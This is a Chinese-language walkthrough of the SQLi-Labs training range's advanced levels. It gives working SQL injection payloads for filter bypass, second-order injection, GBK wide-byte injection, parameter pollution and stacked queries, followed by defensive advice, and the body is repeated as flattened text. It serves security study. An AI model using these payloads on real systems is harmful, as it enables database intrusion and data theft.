SQLi_Labs靶场之Advanced Injections学习分享
字数 1121 2025-08-24 20:49:31

SQLi_Labs靶场之Advanced Injections高级注入技术详解

一、基础过滤绕过技术

1. 注释符过滤绕过

Less-23案例

  • 过滤字符:#--+
  • 绕过方法:使用or "1"="1"闭合语句
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2. 逻辑运算符过滤绕过

Less-25案例

  • 过滤字符:orand
  • 绕过方法:
    • 使用&&||替代
    • 双写关键字绕过
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;%23

3. 空格过滤绕过

Less-26案例

  • 过滤字符:空格、注释
  • 绕过方法:
    • 使用%0a(换行符)替代空格
    • 使用%a0(非中断空格)替代
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
0%27)%a0union%a0select%a01,database(),2||('1

二、高级注入技术

1. 二次注入攻击

Less-24案例

  1. 创建恶意用户:admin'#,密码123456
  2. 修改密码时形成SQL:
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
  1. #注释掉后续语句,实际修改的是admin用户的密码

2. 关键字过滤绕过

Less-27/27a案例

  • 过滤字符:unionselect
  • 绕过方法:大小写混合
0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

3. 宽字节注入

Less-32-37案例

  • 适用环境:GBK编码
  • 原理:利用GBK双字节特性,%df'组合形成合法字符
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23

4. 参数解析差异利用

Less-29-31案例

  • 利用Tomcat与Apache解析差异:
    • Tomcat:取第一个参数值
    • Apache:取最后一个参数值
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

三、堆叠注入技术

Less-38案例

  • 执行多条SQL语句:
?id=0%FE' union select 1,version(),database() %23
?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
1';create table test38 like users;%23

四、防御建议

  1. 使用预编译语句(Prepared Statements)
  2. 严格过滤特殊字符和关键字
  3. 统一参数解析逻辑
  4. 设置数据库最小权限
  5. 对GBK等宽字符编码进行特殊处理
  6. 禁用堆叠查询功能

五、技术总结表

技术类型 关键绕过方法 适用场景 示例
注释符过滤 逻辑闭合 #、--被过滤 or '1'='1'
逻辑运算符 符号替代 and/or被过滤 `
空格过滤 特殊字符替代 空格被过滤 %0a, %a0
关键字过滤 大小写混合 union/select被过滤 selEct
宽字节注入 %df组合 GBK环境 %df'
参数解析差异 多参数 Tomcat/Apache混合 ?id=1&id=payload
堆叠注入 分号分隔 支持多语句 ;create table

通过系统学习这些高级注入技术,安全人员可以更全面地评估Web应用的安全性,开发人员也能更好地防御这些攻击手段。

SQLi_ Labs靶场之Advanced Injections高级注入技术详解 一、基础过滤绕过技术 1. 注释符过滤绕过 Less-23案例 : 过滤字符: # 、 --+ 绕过方法:使用 or "1"="1" 闭合语句 2. 逻辑运算符过滤绕过 Less-25案例 : 过滤字符: or 、 and 绕过方法: 使用 && 、 || 替代 双写关键字绕过 3. 空格过滤绕过 Less-26案例 : 过滤字符:空格、注释 绕过方法: 使用 %0a (换行符)替代空格 使用 %a0 (非中断空格)替代 二、高级注入技术 1. 二次注入攻击 Less-24案例 : 创建恶意用户: admin'# ,密码 123456 修改密码时形成SQL: # 注释掉后续语句,实际修改的是admin用户的密码 2. 关键字过滤绕过 Less-27/27a案例 : 过滤字符: union 、 select 绕过方法:大小写混合 3. 宽字节注入 Less-32-37案例 : 适用环境:GBK编码 原理:利用GBK双字节特性, %df' 组合形成合法字符 4. 参数解析差异利用 Less-29-31案例 : 利用Tomcat与Apache解析差异: Tomcat:取第一个参数值 Apache:取最后一个参数值 三、堆叠注入技术 Less-38案例 : 执行多条SQL语句: 四、防御建议 使用预编译语句(Prepared Statements) 严格过滤特殊字符和关键字 统一参数解析逻辑 设置数据库最小权限 对GBK等宽字符编码进行特殊处理 禁用堆叠查询功能 五、技术总结表 | 技术类型 | 关键绕过方法 | 适用场景 | 示例 | |---------|-------------|---------|------| | 注释符过滤 | 逻辑闭合 | #、--被过滤 | or '1'='1' | | 逻辑运算符 | 符号替代 | and/or被过滤 | || , && | | 空格过滤 | 特殊字符替代 | 空格被过滤 | %0a , %a0 | | 关键字过滤 | 大小写混合 | union/select被过滤 | selEct | | 宽字节注入 | %df组合 | GBK环境 | %df' | | 参数解析差异 | 多参数 | Tomcat/Apache混合 | ?id=1&id=payload | | 堆叠注入 | 分号分隔 | 支持多语句 | ;create table | 通过系统学习这些高级注入技术,安全人员可以更全面地评估Web应用的安全性,开发人员也能更好地防御这些攻击手段。